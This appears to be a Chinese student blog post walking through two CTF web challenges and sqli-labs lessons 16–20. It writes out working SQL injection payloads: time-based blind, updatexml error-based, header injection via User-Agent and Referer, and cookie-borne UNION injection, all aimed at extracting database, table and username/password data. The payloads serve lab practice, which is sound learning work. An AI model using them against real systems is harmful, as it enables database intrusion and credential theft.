第五周 web题两道+sqli_labs less16-20

ctf web题两道

1.MYSQL

1.点开过后,又是关于 robots.tx的题,查看源码后看到这个链接确实是百度百科的链接(但我还是点开看了。。)
在这里插入图片描述

2.按照上次robot.txt题的经验,于是访问robots.txt:
在这里插入图片描述

先看懂代码,以get方式给变量id赋值,如果变量id的值等于1024,echo “no!try again”,否则就输出一个$query[content],content是内容的意思,所以肯定会输出点什么东西。
3.然后根据提示,访问sql.php,并以get方式给id赋值,我首先尝试了id=1024:
在这里插入图片描述

果然是try again,然后试试其他数字看看,发现就没有东西显示了
在这里插入图片描述
试了哈其他的数字,然后试了试小数,flag就出来了,后来发现是因为$id必须在值上等于1024 但又不能是1024。。所以试小数的时候会成功。
在这里插入图片描述

2.COOKIE

在这里插入图片描述

题目首先就有一个提示:0==not。
然后打开题目
在这里插入图片描述
根据之前做有关cookie题的经验,按f12查看存储
在这里插入图片描述

发现显示的 Login :“0”,加上最开始题目的提示,所以把值修改为1 然后刷新flag就出来了。
在这里插入图片描述

sqli_labs less16-less20

less16

1.首先查找注入点,

admin") or 1=1 # 

在这里插入图片描述

2.用时间盲注
admin") and if(length(database())=8,sleep(3),sleep(0)) # 猜解出数据库长度为8.
admin") and if(substr(database(),1,1)='s',sleep(3),sleep(0)) #
admin") and if(substr(database(),3,1)='c',sleep(3),sleep(0)) #猜解数据库名security。

admin") and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit ,1),2,1)='m',sleep(3),sleep(0)) # //第一个表名的第一个字母为e 依次猜解表名为 email

admin") and if(substr((select group_concat(column_name) from information_schema.columns where table_name='emails' limit 0,1),2,1)='d',sleep(3),sleep(0)) # 字段为id

后面继续用此法可猜解出 username password。

less17

在这里插入图片描述

一进来就发现和之前的关卡不一样了,但同样由于习惯,还是输入admin 试试,还真就登进去了。
在这里插入图片描述

但是要拿到数据的话,应该查找注入点。此时用之前的方式注入已经行不通了,所以查看源码找突破口:
在这里插入图片描述

用xpath报错注入方法。


' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #  //爆数据库名

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) #  //爆表

' or updatexml(1,concat(0x7e,(select group_concat(concat_ws("*",username,password)) from security.users),0x7e),1) # // 爆字段

' or updatexml(1,concat('#',(select * from (select group_concat(concat_ws('*',id,username,password)) from users) a)),0) # //爆具体数据
 

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

less18

1.和之前页面又不一样了,首先查找注入点,这次输入admin 确显示登陆不进去了:
在这里插入图片描述

查了查原因,是因为在第17关的时候,我们已经对密码进行了修改,所以在less18的时候密码就不再是原来的那个了在这里插入图片描述

由于这道题不能用之前的注入方式了,用户和密码都有check_input()处理,所以在username和password栏里添加注入语句已经行不通了,并且必须有正确的账号密码,才能进行接下来的注入。

登陆成功会显示User Agent和IP,登陆失败只显示IP。

在这里插入图片描述

因为题目提示是Header injection,于是用hackbar的 User Agent 插入注入语句,这里用xpath报错注入。

User-Agent: ' or updatexml(1,concat('#',(database())),0),'','') # 爆数据库名
注意:这里括号是不成对的,具体原因我也不是很清楚,看教程就是这么做的,和之前的用的updatexml语句有一些不同。
在这里插入图片描述
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')# 爆表名
在这里插入图片描述

' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')# 爆字段
在这里插入图片描述

' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'','')# 爆具体数据
在这里插入图片描述

less19

与less18差不多,不过这里是用hackbar的referer 工具进行注入,注入的方法还是xpath报错注入。然后这次爆数据库名的时候 我用之前的updatexml报错语句同样不行。然后我瞎试了试,在之前语句的基础上,添加了“)”, 使括号不成对,没想到意外的可行。
所以,可以用这两种语句:

' or updatexml(1,concat(0x7e,(select database())),0x7e),1) #
' or updatexml(1,concat('#',(database())),0),'')#

后面的爆表爆字段报数据我也尝试了加括号的方法,都是可行的。
在这里插入图片描述在这里插入图片描述
2.爆表名:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
在这里插入图片描述
3.爆表名:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0x7e),1) #在这里插入图片描述
4.爆数据:' or updatexml(1,concat(0x7e,(select group_concat(concat_ws("*",username,password)) from security.users)),0x7e),1) #在这里插入图片描述

因为只显示一行,所以显示不完,可以用limit语句挨个爆出来:
' or updatexml(1,concat(0x7e,(select concat_ws("*",id,username,password) from security.users limit 0,1)),0x7e),1) #

less20

  1. 用admin1 登进去之后,回显的内容有很多,注意到最下面有个“delete your cookie”的按钮,点击后回到了最开始的界面。
    在这里插入图片描述

  2. 由于只能猜出这题和cookie 有关,在哪里注入并不是很清楚,于是去其他博客上看了相关教程。查到有两种方法:
    在这里插入图片描述

又因为我用的火狐,不想再打开Chrome,而且我这里用burpsuite抓不到包(应该是操作问题),所以我就想火狐插件hackbar中的cookies功能可不可以实现注入。
3. 于是我就各种尝试,发现是可行的。只不过要添加" uname= " ,其余的sq注入语句和最开始less1 差多。
在这里插入图片描述
4. 报数据库名:security uname=1%27 union select 1,2,database() #
在这里插入图片描述

  1. 表名:uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
    在这里插入图片描述

  2. 字段名:uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
    在这里插入图片描述

  3. 具体数据:1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#

在这里插入图片描述

发布了7 篇原创文章 · 获赞 0 · 访问量 394

猜你喜欢

转载自blog.csdn.net/yqdid/article/details/104282482